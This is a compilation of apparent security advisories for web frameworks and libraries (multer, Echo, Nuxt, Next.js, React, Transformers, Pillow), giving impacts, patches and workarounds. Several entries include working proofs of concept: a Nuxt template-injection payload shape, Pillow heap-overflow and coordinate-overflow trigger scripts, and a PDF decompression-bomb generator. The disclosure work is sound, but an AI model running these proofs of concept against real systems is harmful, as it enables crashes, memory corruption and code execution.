multer vulnerable to Denial of Service via file descriptor leak on aborted uploads
Impact
A vulnerability in multer 2.2.0 allows an attacker to trigger a Denial of Service (DoS) by aborting or truncating multipart uploads. When using diskStorage, the destination write stream is not closed if the upload is aborted before it finishes, so each failed request leaks an open file descriptor and retains its disk blocks until the process exits. Repeated failed uploads can exhaust the available file descriptors. All applications using multer's disk storage are affected.
Patches
Users should upgrade to 2.3.0.
Workarounds
None.
Echo: Encoded slash (%2F) bypasses route-level protection and exposes static files
Summary
Echo's router and static file handler disagree on URL path decoding. The router matches routes using the raw encoded path (preserving %2F as-is), while StaticDirectoryHandler unescapes %2F to / before resolving filesystem paths. This allows an attacker to bypass route-level access controls and read static files without authorization.
Details
Root cause 1 — router.go lines 798-802:
The router uses req.URL.RawPath for route matching when useEscapedPathForRouting is false (the default). This means /admin%2Fsecret.txt is treated as a single path segment and does NOT match the /admin/* route pattern.
``go
if !r.useEscapedPathForRouting && req.URL.RawPath != "" {
path = req.URL.RawPath
}
`
Root cause 2 — echo.go lines 559-568:
StaticDirectoryHandler calls url.PathUnescape() on the path parameter before opening files. This converts %2F back to /, resolving admin/secret.txt on disk.
`go
if !disablePathUnescaping {
tmpPath, err := url.PathUnescape(p)
p = tmpPath
}
name := filepath.ToSlash(filepath.Clean(strings.TrimPrefix(p, "/")))
`
PoC (Screenshot)
Sample:
<img width="1291" height="970" alt="image" src="https://github.com/user-attachments/assets/0bc58059-3e6d-4678-ab25-a5c79b006738" />
403:
<img width="526" height="194" alt="image" src="https://github.com/user-attachments/assets/2f55ffdd-87b2-4a1b-8a13-130ebad0f257" />
Bypass with encoded slash:
<img width="592" height="203" alt="image" src="https://github.com/user-attachments/assets/1191cd39-ae8f-4d7e-8fb1-cb9cf31f484f" />
Impact
Unauthorized static file disclosure. Applications that protect route prefixes with authentication middleware while also serving static files from a broader root are vulnerable. An attacker only needs to encode the slash (/ → %2F) in the URL to bypass all route-level protection.
Common affected pattern:
`go
adminGroup := e.Group("/admin", authMiddleware)
e.StaticFS("/", os.DirFS("public"))
``
Nuxt: Unauthenticated CPU exhaustion parsing and hashing the Nuxt island endpoint body before hash validation
Impact
The internal island renderer endpoint (/__nuxt_island/...) decodes and hashes attacker-controlled request input before it validates the URL-resident hash. An unauthenticated POST /__nuxt_island/<name>_<anything>.json with a large JSON body (for example ~4.6 MB / 150k keys) is fully read, destr-parsed, and run through ohash before the request is rejected with a 400. Because Nitro runs on a single event loop, this both wastes CPU on the doomed request and delays every concurrent request. A low request rate is enough to degrade or stall the server. No valid hash and no authentication are required.
Patches
Fixed in nuxt@4.5.1 and nuxt@3.21.10. The island handler now enforces a raw body-size cap (413) and a JSON nesting-depth cap (400) before parsing or hashing, so oversized or deeply nested input is rejected cheaply.
Workarounds
Put a small request-body limit in front of /__nuxt_island/ at your reverse proxy / edge (islands legitimately send only a compact props payload), or disable server components if unused.
Nuxt: Server-Side Remote Code Execution via Runtime Template Injection in Nuxt Server Island Props
Impact
Nuxt server islands accept props via the /__nuxt_island/ endpoint. When vue.runtimeCompiler: true is enabled (off by default) and the application has a server island component that forwards props into Vue's dynamic component resolution (<component :is>, resolveDynamicComponent, or h()), an attacker can inject a template key into the island props to achieve server-side remote code execution in the Nitro process.
``json
{ "as": { "template": "<attacker-controlled>" } }
`
Vue's runtime template compiler compiles and executes the attacker-controlled template in the server process. The same primitive also works on the client side when the runtime compiler is active there, though the server-side path is the primary concern.
Some component libraries expose a polymorphic as / asChild prop that forwards its value into <component :is>; @nuxt/ui (via reka-ui) is a widely used example. An application is affected if such a component receives the attacker-controlled value, provided vue.runtimeCompiler is also enabled. Note this does not require the island author to explicitly forward a prop: island props that the island component does not declare fall through as attributes onto its single root element (standard Vue attribute inheritance), so an island whose root is a polymorphic component receives the attacker's as value implicitly. These libraries are not themselves vulnerable; they are noted only because they commonly provide the dynamic-component sink.
Common configurations that satisfy the preconditions
The flaw is in Nuxt core. The library below is not itself vulnerable; it is noted because it commonly provides the dynamic-component sink an application might inadvertently expose.
@nuxt/ui (via its underlying reka-ui primitives) exposes a polymorphic as / asChild prop that is forwarded into Vue's dynamic-component resolution. Installing @nuxt/ui does not by itself register any component as a server island. Exploitation requires the application to define an island component (a .server.vue file) whose rendered output puts the attacker-controlled value on such a component's as / asChild prop; with vue.runtimeCompiler: true, the attacker-controlled template is then compiled and executed. Because undeclared island props fall through as attributes to the single root, this can happen without any explicit binding: an island whose root is a reka-ui / @nuxt/ui component is enough. An example vulnerable island (the as value falls through to UButton, no explicit forwarding needed):
`vue
<!-- components/MyWidget.server.vue -->
<template>
<UButton>Save</UButton>
</template>
`
The island URL hash (/__nuxt_island/<Name>_<hash>.json) is a deterministic (unsalted) content hash, not an authentication token. It provides integrity relative to the URL but is not a security boundary: an attacker who knows the component name and desired props can compute a valid hash.
Mitigating factors
vue.runtimeCompiler is off by default in Nuxt. The vast majority of Nuxt applications are not affected.
Exploitation requires a second precondition: the application must have a server island component that puts an attacker-controlled value onto a dynamic-component path (<component :is>, resolveDynamicComponent, h(), or a polymorphic as / asChild prop). This can occur explicitly or via attribute fallthrough when the island's root is such a component.
SSG / static deployments are largely unreachable via this vector (no server process to exploit).
Island component names are constrained to the build-time component registry; an attacker cannot resolve arbitrary components.
Affected versions
Nuxt >=3.4.0 <3.21.10 and >=4.0.0 <4.5.1, and only when vue.runtimeCompiler: true and component islands are active. Earlier versions did not allow the Vue compiler to be enabled in the server bundle (the compiler dependencies have been mock-aliased on the server since v3.0.0-rc.1), so the runtime-compilation path is not reachable. Nuxt 2 is not affected (no server islands).
Patches
When vue.runtimeCompiler is enabled, island requests whose decoded props contain a template key at any depth are rejected with an HTTP 400 and a diagnostic suggesting the author rename the prop or disable the runtime compiler. The guard is gated on the runtime compiler being enabled, so the default configuration (compiler off) is unaffected and legitimate props that merely contain a template field (for example CMS content) continue to render. A render key is not rejected: island props arrive as JSON, so a render value can only be an inert string, which Vue ignores.
Fixed in nuxt@4.5.1 and backported to nuxt@3.21.10.
Workarounds
Upgrade to nuxt@4.5.1 or nuxt@3.21.10. If you cannot immediately upgrade, you can mitigate by:
1. Ensure vue.runtimeCompiler is set to false (the default).
2. Do not forward island props into <component :is>, resolveDynamicComponent, or h() without sanitization.
3. As a defense-in-depth measure, deploy a WAF rule on /__nuxt_island/ that URL-decodes and JSON-parses the props value and blocks any object property named template or render` in the decoded island props, inspecting both query and body for all methods. Note: this only covers direct and browser-originated island requests; initial-SSR internal island renders do not transit the edge and a WAF alone does not close the vector.
Nuxt runtime payload cache discloses another user's SSR data across users and to unauthenticated clients
Impact
When a page is covered by routeRules cache / swr / isr, Nuxt enables runtime payload extraction and serves /<page>/_payload.json. On affected versions the renderer stored the SSR payload in the shared cache:nuxt:payload storage under a path-only key (no cookie, authorization, or cache.varies dimension) and, on a later payload request, returned the cached entry before route middleware / page guards ran again.
As a result, once any authenticated user warms a protected, cached page, a subsequent GET /<page>/_payload.json from an unauthenticated client or a different authenticated user receives the first user's payload: the full SSR data for that route, including anything loaded via useFetch / useAsyncData (for example /api/me: profile, tenant, billing, token-like values). The HTML response stays correctly varied and protected; only the extracted payload leaks. Both cross-user (A warms, B receives A) and unauthenticated disclosure are exploitable. cache.varies does not mitigate it, because the payload cache ignores varies.
Introduced when runtime payload extraction landed for cached routes (#34410); the regression is specific to the 4.x line, where the runtime cache:nuxt:payload storage was added and the import.meta.prerender gate on the payload-cache read/writes was dropped. The 3.x line shipped the same feature with the gate intact and is not affected.
Patches
Fixed in nuxt@4.5.1. Runtime payload-cache reads and writes are again confined to prerendering (import.meta.prerender); at runtime, /<page>/_payload.json follows the normal render path so route middleware, routeRules.appMiddleware, and page guards run for the current request. main / v5 and the 3.x line already had this property, so 3.x is not affected.
Workarounds
Set experimental.payloadExtraction: false (reporter-validated): the standalone /_payload.json endpoint returns 404 and the page still serves a 200 with an inline payload.
Do not apply cache / swr / isr to authenticated pages that render user-specific SSR data.
As defense-in-depth, require authentication for /**/_payload.json at a proxy / CDN.
After upgrading, purge any CDN / platform cache that may already hold protected payloads.
Nuxt route rules silently dropped for mixed-case paths, bypassing appMiddleware auth gates (incomplete fix for CVE-2026-53721)
Impact
Nuxt matches route rules case-insensitively by default (mirroring vue-router's default sensitive: false routing). The fix for GHSA-mm7m-92g8-7m47 / CVE-2026-53721 lowercased the lookup path before matching route rules, but the route-rule keys compiled into the matcher were left verbatim. As a result, any route rule whose key contains an uppercase character (for example /Admin, /Dashboard/**, or the rules Nuxt derives from PascalCase/camelCase page files such as pages/Admin.vue) never matches, because every lookup is folded to lowercase while the key stays mixed-case.
vue-router still serves the page case-insensitively, so the page renders with none of its Nuxt route-rule protections applied. The most serious consequence is an authorization bypass: an appMiddleware rule used as an auth gate (routeRules: { '/Admin/dashboard': { appMiddleware: 'auth' } }) is dropped, and /Admin/dashboard, /admin/dashboard, and /ADMIN/dashboard all render the protected page (and its SSR-fetched data) to an unauthenticated visitor instead of redirecting to login. The same gap drops Nuxt's other app-side route-rule behaviours for mixed-case keys, including the client redirect middleware, the app-side ssr: false decision, prerender, and payload handling.
Patches
Fixed in nuxt@4.5.1 (4.x) and nuxt@3.21.10 (3.x). The route-rule matcher now case-folds the compiled keys the same way it folds the lookup path, so key and lookup normalisation are symmetric. Both sides are gated on router.options.sensitive: with sensitive: true (case-sensitive routing) configured casing is preserved on both sides.
Scope note: server-emitted per-route headers, server redirect, and proxy are matched by Nitro's own case-sensitive route-rule matcher, not by Nuxt's app-level matcher. They are unchanged by this advisory. The fix covers the app-level protections Nuxt owns (appMiddleware, appLayout, the client redirect middleware, the app ssr decision, prerender, and payload).
Workarounds
If you cannot upgrade immediately, any one of:
Key all routeRules (and name your page files) in lowercase, so the keys already match the folded lookup path.
Set router: { options: { sensitive: true } } so routing and route-rule matching are both case-sensitive and exact (requests must then use the exact casing).
Enforce the sensitive protections server-side independently of route rules (for example a server middleware that checks auth), which does not rely on case-insensitive route-rule matching.
Nuxt: Unauthenticated out-of-memory crash via unbounded v-for expansion in island rendering
Impact
An unauthenticated attacker can crash a Nuxt server that renders any island / server component containing a v-for over a prop (for example v-for="n in count" or a <slot v-for>). Because the island URL hash is a non-secret digest of the request, the attacker can compute a valid hash for arbitrary props and send the iterated prop as a large integer. The server then expands the v-for to that many nodes during SSR, allocating memory proportional to the attacker's number. Reporter figures: count=8000000 produced a 142.9 MB response; count=40000000 (and items=4000000 on a slot list) produced an out-of-memory crash of the worker from a single ~130-byte request. Both the plain v-for path (Vue's ssrRenderList) and the slot path (vforToArray) are affected.
Patches
Fixed in nuxt@4.5.1 and nuxt@3.21.10. Island/server-component v-for sources are now clamped to a maximum iteration count (MAX_VFOR_LENGTH = 100000) at the render boundary, covering the plain path, the <slot v-for> element, and the vforToArray slot-props helper. Combined with the body-size cap (GHSA-9pgf-384g-p7mv), a single island render can no longer allocate without bound regardless of which v-for path is used or whether the prop arrives as an integer or an array.
Workarounds
Avoid v-for directly over an unclamped prop in server components, or clamp the count in the component (v-for="n in Math.min(count, 1000)"). A body-size limit in front of /__nuxt_island/ only mitigates array-shaped inputs, not the integer-amplification case.
References
Bound helper: packages/nuxt/src/app/components/vfor.ts
Transform: packages/nuxt/src/components/plugins/islands-transform.ts
Slot helper: packages/nuxt/src/app/components/utils.ts (vforToArray)
Transformers save_pretrained path traversal allows arbitrary file writes through chat template names
A vulnerability in huggingface/transformers versions < 5.10.0 allows an attacker to perform arbitrary file writes via path traversal. The issue resides in the save_pretrained() methods of PreTrainedTokenizerBase and ProcessorMixin, where keys from the chat_template dictionary are used directly as filenames without proper validation. An attacker can exploit this by publishing a malicious Hugging Face Hub repository with a crafted tokenizer_config.json file. When a victim downloads and saves the tokenizer or processor, the attacker-controlled keys can escape the intended save directory, enabling arbitrary file writes with attacker-controlled content. This vulnerability affects multiple processors inheriting from ProcessorMixin, including Idefics, Florence, Gemma, Phi, and Qwen-VL.
react-server-dom: Denial of Service in Server Functions
Impact
A denial of service vulnerability could be triggered by sending specially crafted HTTP requests to server function endpoints, this could lead to out-of-memory exceptions or excessive CPU usage.
We recommend updating immediately.
The vulnerability exists in versions 19.0.0 through 19.0.7, 19.1.0 through 19.1.8, and 19.2.0 through 19.2.7 of:
react-server-dom-webpack
react-server-dom-parcel
react-server-dom-turbopack
Patches
Fixes were back ported to versions 19.0.8, 19.1.9, and 19.2.8.
If you are using any of the above packages please upgrade to any of the fixed versions immediately.
If your app’s React code does not use a server, your app is not affected by this vulnerability. If your app does not use a framework, bundler, or bundler plugin that supports React Server Components, your app is not affected by this vulnerability.
React Router: Unauthenticated Denial of Service via Inefficient Route Matching
This is a follow up to https://github.com/remix-run/react-router/security/advisories/GHSA-8x6r-g9mw-2r78 that covers additional reported scenarios in which the manifest endpoint could be accessed via unauthenticated targeted requests that would put heavy load on the server and slow down response times.
> [!NOTE]
> This only impacts Framework Mode applications. This does not impact your application if you are using Declarative or Data Mode.
Next.js: Server-Side Request Forgery in Server Actions on custom servers
Impact
When a Server Action forwards or redirects a request, an attacker can cause the server to send that outbound request to a malicious host (Server-Side Request Forgery). This requires the attacker's request to control Host-associated headers. In some configurations, it's also possible to obtain internal values that weaken middleware/proxy authorization.
Applications that use Server Actions are affected when the incoming host header is not fixed to a trusted value. This typically occurs on custom servers, or on deployments not behind a proxy that pins the host. Managed hosting pins the host upstream and is not affected; next start and standalone output do the same from version 14.2 onward.
Workarounds
If you cannot upgrade, ensure clients do not control the host header your application receives. Pin or validate Host and X-Forwarded-Host at your edge or proxy. On version 14.2.0 and later, you can additionally set the __NEXT_PRIVATE_ORIGIN environment variable to your deployment's real origin:
```bash
__NEXT_PRIVATE_ORIGIN=https://www.example.com node server.js
Next.js: Middleware / Proxy bypass in App Router applications using Turbopack and single locale
Impact
Crafted requests targeting Next.js applications using App Router built with Turbopack and a single entry in config.i18n.locales can bypass middleware/proxy based authentication.
Workarounds
If you cannot upgrade immediately, enforce authorization in the page's server-side data path instead of relying solely on middleware.
Pillow: Controlled heap out-of-bounds write in Pillow `ImageCmsTransform.apply()` via output mode mismatch
Summary
Pillow's public ImageCms.ImageCmsTransform.apply(im, imOut) API can trigger
controlled native heap corruption when the caller supplies an output image whose
mode does not match the transform's declared output mode.
For example, a transform built as RGBA -> RGBA can be applied to an L output
image. Pillow checks dimensions only, then calls LittleCMS with the output row
pointer. LittleCMS writes RGBA-sized rows into a 1-byte-per-pixel L image row.
Details
src/PIL/ImageCms.py:ImageCmsTransform.apply() accepts an optional caller
supplied imOut:
``python
def apply(self, im, imOut=None):
if imOut is None:
imOut = Image.new(self.output_mode, im.size, None)
self.transform.apply(im.getim(), imOut.getim())
imOut.info["icc_profile"] = self.output_profile.tobytes()
return imOut
`
If imOut is provided, Pillow does not check:
`text
im.mode == self.input_mode
imOut.mode == self.output_mode
`
The C wrapper in src/_imagingcms.c unwraps both image cores and only checks
that the output dimensions are at least as large as the input dimensions:
`c
static int
pyCMSdoTransform(Imaging im, Imaging imOut, cmsHTRANSFORM hTransform) {
if (im->xsize > imOut->xsize || im->ysize > imOut->ysize) {
return -1;
}
for (i = 0; i < im->ysize; i++) {
cmsDoTransform(hTransform, im->image[i], imOut->image[i], im->xsize);
}
pyCMScopyAux(hTransform, imOut, im);
return 0;
}
`
findLCMStype() maps RGB, RGBA, and RGBX transform modes to LittleCMS
TYPE_RGBA_8, which writes 4 bytes per pixel:
`c
case IMAGING_MODE_RGB:
case IMAGING_MODE_RGBA:
case IMAGING_MODE_RGBX:
return TYPE_RGBA_8;
`
So with a transform declared as RGBA -> RGBA, LittleCMS writes 4 width
bytes to each output row. If the supplied output image is mode L, Pillow only
allocated 1 width bytes for that row.
For width 4096:
`text
destination row allocation: 4096 bytes
LittleCMS write size: 16384 bytes
overflow: ~12288 bytes past the row
`
The bug does not require a large image. Width 8 was enough to corrupt heap
metadata. At width 8, apply() returned to Python and printed after; glibc
detected the corrupted heap later during cleanup.
PoC
Tiny heap corruption trigger:
`python
from PIL import Image, ImageCms
srgb = ImageCms.createProfile("sRGB")
transform = ImageCms.buildTransform(srgb, srgb, "RGBA", "RGBA")
im = Image.new("RGBA", (8, 1), (0x41, 0x42, 0x43, 0x44))
out = Image.new("L", (8, 1), 0)
print("before", flush=True)
transform.apply(im, out)
print("after")
`
Observed locally on Pillow 12.3.0.dev0:
`text
before
after
free(): invalid next size (normal)
Aborted (core dumped)
`
Controlled overwrite evidence PoC:
`python
from PIL import Image, ImageCms
srgb = ImageCms.createProfile("sRGB")
transform = ImageCms.buildTransform(srgb, srgb, "RGBA", "RGBA")
im = Image.new("RGBA", (4096, 1), (0x41, 0x42, 0x43, 0x44))
out = Image.new("L", (4096, 1), 0)
transform.apply(im, out)
`
Run under gdb:
`bash
gdb -q --batch -ex run -ex bt --args \
python3 b022_controlled.py
`
Observed on Pillow 12.3.0.dev0:
`text
Program received signal SIGSEGV, Segmentation fault.
___pthread_mutex_lock (mutex=mutex@entry=0x4443424144434241)
#1 _cmsLockPrimitive (m=0x4443424144434241)
#2 defMtxLock (id=0x4443424144434241, mtx=0x4443424144434241)
#3 _cmsLockMutex (ContextID=0x4443424144434241, mtx=0x4443424144434241)
#4 cmsSaveProfileToIOhandler(...)
#5 cmsSaveProfileToMem(...)
#6 cms_profile_tobytes (...) at src/_imagingcms.c:152
`
0x4443424144434241 is the attacker-controlled source pixel pattern
b"ABCDABCD" interpreted as a little-endian pointer-sized value.
Using source pixels (1, 2, 3, 4) similarly produced a faulting pointer of
0x403020104030201, matching the repeated pixel bytes.
Impact
This is a heap out-of-bounds write in Pillow's native ImageCms extension,
reachable through public API.
Applications are impacted if untrusted users can control ImageCms transform
parameters and/or provide the output image object passed to
ImageCmsTransform.apply(). The source image pixels influence the bytes written
out of bounds.
Suggested fix
Validate modes before calling into the native transform:
`python
def apply(self, im, imOut=None):
if im.mode != self.input_mode:
raise ValueError("input mode mismatch")
if imOut is None:
imOut = Image.new(self.output_mode, im.size, None)
elif imOut.mode != self.output_mode:
raise ValueError("output mode mismatch")
self.transform.apply(im.getim(), imOut.getim())
imOut.info["icc_profile"] = self.output_profile.tobytes()
return imOut
`
The C extension should also defensively reject mismatched image modes before
calling cmsDoTransform()`.
Pillow JPEG2000 tiled decode retains a growing scratch buffer and can be used for denial of service
Summary
src/libImaging/Jpeg2KDecode.c:853 accumulates total_component_width across every tile in a JPEG2000 image instead of recomputing it per tile. That accumulated value is then used in the tile_bytes calculation at src/libImaging/Jpeg2KDecode.c:868, which can make the decoder grow state->buffer via realloc at src/libImaging/Jpeg2KDecode.c:876 up to roughly one full image's decompressed size even when each tile is small. A crafted tiled JPEG2000 file can therefore force substantially higher transient memory usage and trigger out-of-memory failures during decoding. Based on current evidence, the supported impact is denial of service, not memory corruption.
Details
Location: src/libImaging/Jpeg2KDecode.c:853
Root cause: total_component_width is initialized only once before the tile loop and keeps growing across tiles. It is then used to derive tile_bytes, so later tiles are treated as if they had the combined component width of all earlier tiles.
Dangerous operation: tile_bytes is promoted into tile_info.data_size, then state->buffer is grown with realloc at src/libImaging/Jpeg2KDecode.c:876.
Reachability: any attacker-controlled JPEG2000 image with many tiles reaches this path during normal Image.open(...).load() decoding.
PoC
The attached helper script and testcase were used:
exercise_j2k_tile_realloc.zip
Generate the testcase:
``bash
pythonexercise_j2k_tile_realloc.py make poc_3664_rgba_tile1832.jp2 \
--size 3664 --tile 1832
`
Expected geometry from the helper:
image size: 3664 x 3664
mode: RGBA
tile size: 1832 x 1832 (2x2 tiles)
image_bytes=53699584
uncapped RSS observed:
vulnerable build: maxrss_kb=180264
fixed comparison build: maxrss_kb=138404
Load it with the current vulnerable build:
`bash
python exercise_j2k_tile_realloc.py load poc_3664_rgba_tile1832.jp2
`
Load it again under a 160 MB address-space cap:
`bash
python exercise_j2k_tile_realloc.py load poc_3664_rgba_tile1832.jp2 --limit-mb 160
``
Impact
Conservative impact: denial of service through memory exhaustion during JPEG2000 decoding.
Pillow: Decompression Bomb DoS via PdfParser.PdfStream.decode()
Summary
PdfParser.PdfStream.decode() in Pillow's PdfParser.py calls zlib.decompress() with the bufsize parameter set to the value of the PDF stream's Length field, without any upper bound on the actual decompressed output size. Python's zlib.decompress() bufsize argument is an initial output buffer hint, not a maximum size limit — the function will expand memory until the full decompressed result is produced. A crafted PDF containing a FlateDecode-compressed stream decompresses to 1 GB of memory from a ~950 KB file, causing server OOM termination or severe degradation in any application that uses PdfParser to read untrusted PDF files.
Details
PdfStream.decode() in pdfminer/PdfParser.py reads the stream's declared Length (or DL) field from the PDF dictionary and passes it as bufsize to zlib.decompress():
``python
PIL/PdfParser.py — PdfStream.decode()
class PdfStream:
def decode(self) -> bytes:
try:
filter = self.dictionary[b"Filter"]
except KeyError:
return self.buf
if filter == b"FlateDecode":
try:
expected_length = self.dictionary[b"DL"]
except KeyError:
expected_length = self.dictionary[b"Length"]
return zlib.decompress(self.buf, bufsize=int(expected_length))
# ^^^^^^^^^^^^^^^^^^^^^^^^^^^^
# bufsize is an initial buffer hint, NOT a maximum size limit.
# zlib.decompress() allocates as much memory as needed regardless.
`
From the Python documentation: "The bufsize parameter is used as the initial size of the output buffer." It does not cap decompression. An attacker who controls the PDF stream contents can provide a highly-compressed payload that expands to gigabytes, while setting Length to any value (including the actual compressed size) to avoid triggering format validation.
PdfParser is instantiated with a filename or file object and calls read_pdf_info() on open, which parses the xref table and makes stream objects accessible. PdfStream.decode() is reachable whenever calling code accesses a compressed stream object from the parsed PDF.
Confirmed reachable path:
`python
with PdfParser.PdfParser("evil.pdf") as pdf:
stream_obj, _ = pdf.get_value(pdf.buf, stream_offset)
data = stream_obj.decode() # ← OOM here
`
PoC
`python
import zlib, tempfile, os, time
from PIL import PdfParser
Build a minimal PDF with a 100 MB FlateDecode bomb (demo scale)
EXPAND_MB = 100
raw = b'\x00' (EXPAND_MB 1_000_000)
compressed = zlib.compress(raw, level=9) # ~97 KB
buf = b'%PDF-1.4\n'
o1 = len(buf); buf += b'1 0 obj\n<< /Type /Pages /Kids [] /Count 0 >>\nendobj\n'
o2 = len(buf); buf += b'2 0 obj\n<< /Type /Catalog /Pages 1 0 R >>\nendobj\n'
o3 = len(buf)
hdr = f'<< /Filter /FlateDecode /Length {len(compressed)} >>'.encode()
buf += b'3 0 obj\n' + hdr + b'\nstream\n' + compressed + b'\nendstream\nendobj\n'
xref = len(buf)
buf += b'xref\n0 4\n0000000000 65535 f \n'
for off in [o1, o2, o3]:
buf += f'{off:010d} 00000 n \n'.encode()
buf += b'trailer\n<< /Size 4 /Root 2 0 R >>\nstartxref\n' + str(xref).encode() + b'\n%%EOF\n'
print(f"PDF size: {len(buf):,} bytes ({len(buf)/1024:.1f} KB)")
with tempfile.NamedTemporaryFile(delete=False, suffix='.pdf') as f:
f.write(buf); tmpname = f.name
with PdfParser.PdfParser(tmpname) as pdf:
obj, _ = pdf.get_value(pdf.buf, o3)
t = time.time()
decoded = obj.decode()
print(f"Decoded: {len(decoded):,} bytes in {time.time()-t:.3f}s")
os.unlink(tmpname)
`
Actual output (Pillow 12.1.1, Python 3.12):
`
PDF size: 97,538 bytes (95.3 KB)
Decoded: 100,000,000 bytes in 0.265s
`
Measured expansion:
| PDF file size | Memory allocated | Ratio | Wall time |
|---|---|---|---|
| 10 KB | 10 MB | 1,026× | 0.024 s |
| 95 KB | 100 MB | 1,028× | 0.265 s |
| 475 KB | 500 MB | 1,028× | 1.279 s |
| 950 KB | 1,000 MB (1 GB) | 1,028× | 2.668 s |
Impact
This is a denial-of-service vulnerability. Any application that uses PIL.PdfParser.PdfParser to read untrusted PDF files is affected. An unauthenticated attacker who can submit a PDF for processing can exhaust all available server memory with a ~950 KB file, causing OOM termination or service degradation affecting all concurrent users. No authentication or user interaction beyond submitting the file is required.
Note: This vulnerability is independent of CVE-2025-64512 / CVE-2025-70559 (pdfminer.six) and the companion PIL/PdfImagePlugin.py decompression issue. It exists specifically in Pillow's own PdfParser.py module, which is distinct from pdfminer.six.
Suggested fix:
`python
MAX_DECOMPRESS_BYTES = 200 1024 1024 # 200 MB cap
def decode(self) -> bytes:
...
if filter == b"FlateDecode":
...
result = zlib.decompress(self.buf, bufsize=int(expected_length))
if len(result) > MAX_DECOMPRESS_BYTES:
msg = "Decompressed stream exceeds maximum allowed size"
raise ValueError(msg)
return result
``
Pillow: Heap out-of-bounds write `Image.paste()` / `Image.crop()` via signed coordinate overflow
Summary
Pillow's public image coordinate APIs can trigger a native heap out-of-bounds
write when given coordinates near the signed 32-bit integer limits. In 4-byte
pixel modes such as RGBA, this becomes a controlled backward heap underwrite:
for a source image of width W, Pillow writes 4 W attacker-controlled bytes
starting 4 W bytes before the destination row pointer. With successful large
image allocation, the theoretical upper bound is ~2 GiB backwards from
the destination row.
Minimal public API trigger:
``python
from PIL import Image
INT_MIN = -(1 << 31)
src = Image.new("RGBA", (2, 1), (0x41, 0x42, 0x43, 0x44))
dst = Image.new("RGBA", (8, 1))
dst.paste(src, ((1 << 31) - 2, 0, INT_MIN, 1))
`
The same root cause is also reachable through Image.crop() and
Image.alpha_composite(). No private API, ctypes, custom Python object, or
malformed image file is needed.
This has been confirmed as an ASAN heap-buffer-overflow write. On normal
non-ASAN Pillow builds, the minimal trigger corrupts the heap and aborts with
double free or corruption (out)
Details
src/PIL/Image.py:paste() accepts a 4-tuple box and passes it to the native
ImagingCore.paste() method:
`python
self.im.paste(source, box)
`
src/_imaging.c:_paste() parses the four Python coordinates into signed int
values and calls ImagingPaste():
`c
int x0, y0, x1, y1;
PyArg_ParseTuple(args, "O(iiii)|O!", &source, &x0, &y0, &x1, &y1, ...);
status = ImagingPaste(self->image, PyImaging_AsImaging(source), ..., x0, y0, x1, y1);
`
src/libImaging/Paste.c:ImagingPaste() computes and clips the region using
signed int arithmetic:
`c
xsize = dx1 - dx0;
ysize = dy1 - dy0;
if (dx0 + xsize > imOut->xsize) {
xsize = imOut->xsize - dx0;
}
`
With dx0 = 2147483646 and dx1 = -2147483648, dx1 - dx0 wraps to 2.
That matches the 2-pixel source image, so the size check passes. The later
dx0 + xsize clip check wraps around and does not reject the out-of-bounds
destination.
For 4-byte pixel modes such as RGBA, the paste loop then multiplies dx by
pixelsize:
`c
dx = pixelsize;
xsize = pixelsize;
memcpy(imOut->image[y + dy] + dx, imIn->image[y + sy] + sx, xsize);
`
For the minimal PoC, this writes 8 attacker-controlled bytes 8 bytes before the
destination row allocation.
The primitive scales with the attacker-controlled source width:
`text
source width = W
box = ((1 << 31) - W, 0, INT_MIN, 1)
C destination offset = -4 W
C memcpy size = 4 W
write range = [row_start - 4W, row_start)
`
Examples for RGBA:
`text
W = 2 -> writes 8 bytes before the row
W = 1024 -> writes 4096 bytes before the row
W = 65536 -> writes 256 KiB before the row
W = 1000000 -> writes about 4 MiB before the row
`
Pillow's image creation guard currently limits xsize to roughly
INT_MAX / 4 - 1, so the theoretical upper bound for this RGBA underwrite is
2,147,483,640 bytes before the destination row pointer. In practice, the
usable range depends on memory availability, allocator layout, and process heap
state.
Two other documented APIs reach the same sink:
`python
Image.crop() path
left = INT_MIN + 2
Image.new("RGBA", (2, 1)).crop((left, 0, left + 2, 1))
Image.alpha_composite() path, via its internal crop()
base = Image.new("RGBA", (2, 1))
over = Image.new("RGBA", (2, 1), (0x41, 0x42, 0x43, 0x44))
base.alpha_composite(over, dest=(left, 0))
`
Image.crop() keeps right - left small, so the Python decompression-bomb
check allows it. src/libImaging/Crop.c then computes wrapped paste
coordinates and calls ImagingPaste().
PoC
The following standalone script exercises all three public API paths. Save it
as b021_poc.py and run it with paste, crop, or alpha.
`python
#!/usr/bin/env python3
import argparse
import sys
from PIL import Image
INT_MIN = -(1 << 31)
def rgba_pattern(width):
out = bytearray()
for i in range(width):
out += bytes((0x41 + (i % 26), 0x42, 0x43, 0x44))
return bytes(out)
def main():
parser = argparse.ArgumentParser()
parser.add_argument(
"variant",
choices=("paste", "crop", "alpha"),
nargs="?",
default="paste",
)
parser.add_argument("-w", "--width", type=int, default=2)
args = parser.parse_args()
width = args.width
src = Image.frombytes("RGBA", (width, 1), rgba_pattern(width))
if args.variant == "paste":
box = ((1 << 31) - width, 0, INT_MIN, 1)
dst = Image.new("RGBA", (max(8, width), 1), (0, 0, 0, 0))
print(f"variant=paste box={box}")
print(f"expected C dst offset={-4 width}, write_size={4 width}")
sys.stdout.flush()
dst.paste(src, box)
print("paste returned; first row:", dst.tobytes().hex())
elif args.variant == "crop":
left = INT_MIN + width
box = (left, 0, left + width, 1)
print(f"variant=crop box={box}")
sys.stdout.flush()
out = src.crop(box)
print("crop returned; output:", out.tobytes().hex())
else:
dest = (INT_MIN + width, 0)
dst = Image.new("RGBA", (max(8, width), 1), (0, 0, 0, 0))
print(f"variant=alpha dest={dest}")
sys.stdout.flush()
dst.alpha_composite(src, dest=dest)
print("alpha_composite returned; first row:", dst.tobytes().hex())
sys.stdout.flush()
if __name__ == "__main__":
main()
`
Run against an ASAN build:
`bash
env ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \
python b021_poc.py paste
env ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \
python b021_poc.py crop
env ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \
python b021_poc.py alpha
`
Observed ASAN signature for the direct Image.paste() path:
`text
ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 8
paste /out/src/src/libImaging/Paste.c:59
ImagingPaste /out/src/src/libImaging/Paste.c:323
_paste /out/src/src/_imaging.c:1461
0x... is located 8 bytes before 32-byte region
`
On non-ASAN Pillow 12.2.0 and local 12.3.0.dev0, the direct minimal
